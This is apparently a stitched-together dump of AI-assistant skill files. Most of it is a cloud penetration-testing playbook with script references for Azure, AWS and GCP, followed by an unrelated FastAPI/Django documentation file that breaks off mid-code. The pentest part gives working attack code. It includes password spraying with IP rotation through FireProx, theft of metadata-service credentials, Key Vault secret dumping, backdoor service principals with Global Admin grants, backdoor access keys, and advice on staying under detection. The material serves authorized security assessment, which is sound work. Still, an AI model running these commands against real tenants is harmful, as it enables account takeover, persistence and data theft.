(see Theme Selection)\n\n---\n*Updated: 2026-02-04 - Added --y-format (percent/dollar/compact/decimal4) and --subtitle*\n\n<!-- File: skills/cloud-penetration-testing/references/advanced-cloud-scripts.md (Tokens: ~3247 | Category: anthropic-skill) -->\n# Advanced Cloud Pentesting Scripts\r\n\r\nReference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)\r\n\r\n## Azure Automation Runbooks\r\n\r\n### Export All Runbooks from All Subscriptions\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    mkdir .\\$subscriptionid\\\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $runbooks = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name\r\n    }\r\n    foreach($r in $runbooks){\r\n        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\\$subscriptionid\\\r\n    }\r\n}\r\n```\r\n\r\n### Export All Automation Job Outputs\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$jobout = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $jobs = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId\r\n    }\r\n    foreach($r in $jobs){\r\n        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId\r\n    }\r\n}\r\n$jobout | Out-File -Encoding ascii joboutputs.txt\r\n```\r\n\r\n## Azure Function Apps\r\n\r\n### List All Function App Hostnames\r\n\r\n```powershell\r\n$functionapps = Get-AzFunctionApp\r\nforeach($f in $functionapps){\r\n    $f.EnabledHostname\r\n}\r\n```\r\n\r\n### Extract Function App Information\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$allfunctioninfo = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $functionapps = Get-AzFunctionApp\r\n    foreach($f in $functionapps){\r\n        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter\r\n        $allfunctioninfo += $f.SiteConfig | fl\r\n        $allfunctioninfo += $f.ApplicationSettings | fl\r\n        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl\r\n    }\r\n}\r\n$allfunctioninfo\r\n```\r\n\r\n## Azure Device Code Login Flow\r\n\r\n### Initiate Device Code Login\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\" = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"resource\"  = \"https://graph.microsoft.com\"\r\n}\r\n$UserAgent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"\r\n$Headers = @{}\r\n$Headers[\"User-Agent\"] = $UserAgent\r\n$authResponse = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$authResponse\r\n```\r\n\r\nNavigate to https://microsoft.com/devicelogin and enter the code.\r\n\r\n### Retrieve Access Tokens\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\"  = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"grant_type\" = \"urn:ietf:params:oauth:grant-type:device_code\"\r\n    \"code\"       = $authResponse.device_code\r\n}\r\n$Tokens = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$Tokens\r\n```\r\n\r\n## Azure Managed Identity Token Retrieval\r\n\r\n```powershell\r\n# From Azure VM\r\nInvoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n\r\n# Full instance metadata\r\n$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n$instance\r\n```\r\n\r\n## AWS Region Iteration Scripts\r\n\r\nCreate `regions.txt`:\r\n```\r\nus-east-1\r\nus-east-2\r\nus-west-1\r\nus-west-2\r\nca-central-1\r\neu-west-1\r\neu-west-2\r\neu-west-3\r\neu-central-1\r\neu-north-1\r\nap-southeast-1\r\nap-southeast-2\r\nap-south-1\r\nap-northeast-1\r\nap-northeast-2\r\nap-northeast-3\r\nsa-east-1\r\n```\r\n\r\n### List All EC2 Public IPs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt\r\ndone < regions.txt\r\nsort -u ec2-public-ips.txt -o ec2-public-ips.txt\r\n```\r\n\r\n### List All ELB DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\n    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\ndone < regions.txt\r\nsort -u elb-public-dns.txt -o elb-public-dns.txt\r\n```\r\n\r\n### List All RDS DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt\r\ndone < regions.txt\r\nsort -u rds-public-dns.txt -o rds-public-dns.txt\r\n```\r\n\r\n### Get CloudFormation Outputs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt\r\ndone < regions.txt\r\n```\r\n\r\n## ScoutSuite jq Parsing Queries\r\n\r\n### AWS Queries\r\n\r\n```bash\r\n# Find All Lambda Environment Variables\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt\r\ndone\r\n\r\n# Find World Listable S3 Buckets\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings.\"s3-bucket-AuthenticatedUsers-read\".items[]' >> s3-buckets-world-listable.txt\r\ndone\r\n\r\n# Find All EC2 User Data\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt\r\ndone\r\n\r\n# Find EC2 Security Groups That Whitelist AWS CIDRs\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings.\"ec2-security-group-whitelists-aws\".items' >> ec2-security-group-whitelists-aws-cidrs.txt\r\ndone\r\n\r\n# Find All EC2 EBS Volumes Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt\r\ndone\r\n\r\n# Find All EC2 EBS Snapshots Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt\r\ndone\r\n```\r\n\r\n### Azure Queries\r\n\r\n```bash\r\n# List All Azure App Service Host Names\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'\r\n\r\n# List All Azure SQL Servers\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,\".database.windows.net\",\"\\n\"'\r\n\r\n# List All Azure Virtual Machine Hostnames\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,\".\",.location,\".cloudapp.windows.net\",\"\\n\"'\r\n\r\n# List Storage Accounts\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'\r\n\r\n# List Disks Encrypted with Platform Managed Keys\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = \"EncryptionAtRestWithPlatformKey\") | .name' > disks-with-pmks.txt\r\n```\r\n\r\n## Password Spraying with Az PowerShell\r\n\r\n```powershell\r\n$userlist = Get-Content userlist.txt\r\n$passlist = Get-Content passlist.txt\r\n$linenumber = 0\r\n$count = $userlist.count\r\nforeach($line in $userlist){\r\n    $user = $line\r\n    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force\r\n    $current = $linenumber + 1\r\n    Write-Host -NoNewline (\"`r[\" + $current + \"/\" + $count + \"]\" + \"Trying: \" + $user + \" and \" + $passlist[$linenumber])\r\n    $linenumber++\r\n    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)\r\n    try {\r\n        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue\r\n        Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n        Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n    }\r\n    catch {\r\n        $Failure = $_.Exception\r\n        if ($Failure -match \"ID3242\") { continue }\r\n        else {\r\n            Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt $Failure.Message\r\n            Write-Host -ForegroundColor red $Failure.Message\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n## Service Principal Attack Path\r\n\r\n```bash\r\n# Reset service principal credential\r\naz ad sp credential reset --id <app_id>\r\naz ad sp credential list --id <app_id>\r\n\r\n# Login as service principal\r\naz login --service-principal -u \"app id\" -p \"password\" --tenant <tenant ID> --allow-no-subscriptions\r\n\r\n# Create new user in tenant\r\naz ad user create --display-name <name> --password <password> --user-principal-name <upn>\r\n\r\n# Add user to Global Admin via MS Graph\r\n$Body=\"{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}\"\r\naz rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers \"Content-Type=application/json\" --body $Body\r\n```\r\n\r\n## Additional Tools Reference\r\n\r\n| Tool | URL | Purpose |\r\n|------|-----|---------|\r\n| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |\r\n| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |\r\n| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |\r\n| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |\r\n| MSOLSpray | github.com/dafthack | O365 password spraying |\r\n| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |\r\n| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |\r\n| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |\r\n| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |\r\n| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |\r\n| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |\r\n| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |\r\n| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |\r\n| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |\r\n\r\n## Vulnerable Training Environments\r\n\r\n| Platform | URL | Purpose |\r\n|----------|-----|---------|\r\n| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |\r\n| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |\r\n| Flaws Cloud | flaws.cloud | AWS CTF challenges |\r\n| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |\n\n<!-- File: skills/cloud-penetration-testing/SKILL.md (Tokens: ~3450 | Category: anthropic-skill) -->\n---\nname: cloud-penetration-testing\ndescription: This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo ./aws/install\n\n# GCP CLI\ncurl https://sdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name <vault> --upn <user> --secret-permissions get list\naz keyvault secret list --vault-name <vault> --query '[].id' --output tsv\naz keyvault secret show --id <URI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name <name> --password <pass> --user-principal-name <upn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3://bucket-name/\naws s3 sync s3://bucket-name ./local-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name <name>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids <sg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name <name> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name <username>\n\n# Create backdoor access key\naws iam create-access-key --user-name <username>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy <org-id>\ngcloud projects get-iam-policy <project-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone <repo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs://bucket-name\ngsutil cp gs://bucket/file ./local\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance <id>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials <cluster> --region <region>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe <name>\ngcloud functions logs read <name> --limit 100\n\n# Find stored credentials\nsudo find /home -name \"credentials.db\"\nsudo cp -r /home/user/.config/gcloud ~/.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name <name>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy <project>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http://169.254.169.254/latest/meta-data/` |\n| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |\n| GCP | `http://metadata.google.internal/computeMetadata/v1/` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail/Activity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3://$bucket 2>/dev/null\ndone < buckets.txt\n\n# Download interesting bucket\naws s3 sync s3://misconfigured-bucket ./loot/\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n\n<!-- File: skills/code-documenter/references/api-docs-fastapi-django.md (Tokens: ~942 | Category: anthropic-skill) -->\n# API Documentation: FastAPI & Django\n\n## FastAPI (Auto-generates from types)\n\nFastAPI automatically generates OpenAPI documentation from type hints and docstrings.\n\n### Endpoint Documentation\n\n```python\nfrom fastapi import FastAPI, HTTPException, status\nfrom pydantic import BaseModel, Field\n\nclass UserCreate(BaseModel):\n    \"\"\"User creation request body.\"\"\"\n\n    name: str = Field(..., min_length=1, max_length=100, example=\"John Doe\")\n    email: str = Field(..., example=\"john@example.com\")\n\nclass UserResponse(BaseModel):\n    \"\"\"User response with generated ID.\"\"\"\n\n    id: int = Field(..., example=1)\n    name: str\n    email: str\n\n@app.post(\n    \"/users\",\n    response_model=UserResponse,\n    status_code=status.HTTP_201_CREATED,\n    summary=\"Create a new user\",\n    tags=[\"Users\"],\n)\nasync def create_user(user: UserCreate) -> UserResponse:\n    \"\"\"Create a new user account.\n\n    Args:\n        user: User creation data including name and email.\n\n    Returns:\n        Created user with generated ID.\n\n    Raises:\n        HTTPException: 400 if email already exists.\n    \"\"\"\n```\n\n### Router with Tags\n\n```python\nfrom fastapi import APIRouter\n\nrouter = APIRouter(\n    prefix=\"/users\",\n    tags=[\"Users\"],\n    responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\n    \"/{user_id}\",\n    response_model=UserResponse,\n    summary=\"Get user by ID\",\n)\nasync def get_user(user_id: int) -> UserResponse:\n    \"\"\"Retrieve a user by their unique identifier.\"\"\"\n```\n\n## Django REST Framework (drf-spectacular)\n\n### ViewSet Documentation\n\n```python\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\n\nclass UserViewSet(viewsets.ModelViewSet):\n    \"\"\"\n    ViewSet for managing user accounts.\n\n    list: Get all users with pagination.\n    create: Create a new user account.\n    retrieve: Get a specific user by ID.\n    update: Update all user fields.\n    partial_update: Update specific user fields.\n    destroy: Delete a user account.\n    \"\"\"\n\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\n    @extend_schema(\n        summary=\"Get current user\",\n        description=\"Returns the authenticated user's profile\",\n        responses={200: UserSerializer},\n    )\n    @action(detail=False, methods=[\"get\"])\n    def me(self, request):\n        \"\"\"Get the authenticated user's profile.\"\"\"\n        serializer = self.get_serializer(request.user)\n        return Response(serializer.data)\n```\n\n### Serializer Documentation\n\n```python\nfrom rest_framework import serializers\n\nclass UserSerializer(serializers.ModelSerializer):\n    \"\"\"Serializer for user model with validation.\"\"\"\n\n    class Meta:\n        model = User\n        fields = [\"id\", \"name\", \"email\", \"created_at\"]\n        read_only_fields = [\"id\", \"created_at\"]\n\n    name = serializers.CharField(\n        help_text=\"User's display name\",\n        max_length=100,\n    )\n    email = serializers.EmailField(\n        help_text=\"User's email address (unique)\",\n    )\n```\n\n### Custom Schema\n\n```python\nfrom drf_spectacular.utils import extend_schema, OpenApiExample\n\n@extend_schema(\n    request=UserCreateSerializer,\n    responses={\n        201: UserSerializer,\n        400: OpenApiTypes.OBJECT,\n    },\n    examples=[\n        OpenApiExample(\n            \"Valid request\",\n            